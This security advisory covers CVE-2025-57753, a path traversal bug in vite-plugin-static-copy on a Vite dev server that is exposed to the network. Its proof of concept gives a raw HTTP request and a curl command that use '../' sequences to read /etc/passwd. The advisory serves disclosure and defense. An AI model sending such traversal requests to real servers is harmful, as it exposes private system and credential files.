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CVE-2025-57753

Summary

Files not included in src was possible to access with a crafted request.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Arbitrary files can be disclosed by exploiting this vulnerability.

Details

Consider the following configuration in used by vite.config.ts:

import { defineConfig } from 'vite' import { viteStaticCopy } from 'vite-plugin-static-copy' export default defineConfig({ plugins: [ viteStaticCopy({ targets: [ { src: "./public/images", dest: "./", }, ], }), ], });

The files under the ./public/images is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.

PoC

I've attached a demo app to showcase the bug.

Run it with npm run dev and issue the following HTTP request

GET /static/images/../../../../../../../etc/passwd HTTP/1.1 Host: localhost:3001 Content-Length: 2

OR

curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: localhost:3001' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost:3001/static/images/../../../../../../../etc/passwd'

Observe that the /etc/passwd file is included in the response.

<img width="1289" height="449" alt="Screenshot 2025-08-16 at 10 27 11 PM" src="https://github.com/user-attachments/assets/4de12612-7b86-44d7-a403-c76f12832e37" />

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